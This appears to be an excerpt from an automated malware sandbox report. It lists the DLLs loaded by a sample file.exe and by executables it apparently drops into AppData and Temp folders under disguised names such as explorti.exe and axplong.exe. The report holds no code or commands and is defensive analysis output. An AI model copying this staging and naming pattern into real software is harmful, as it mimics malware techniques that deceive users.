Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

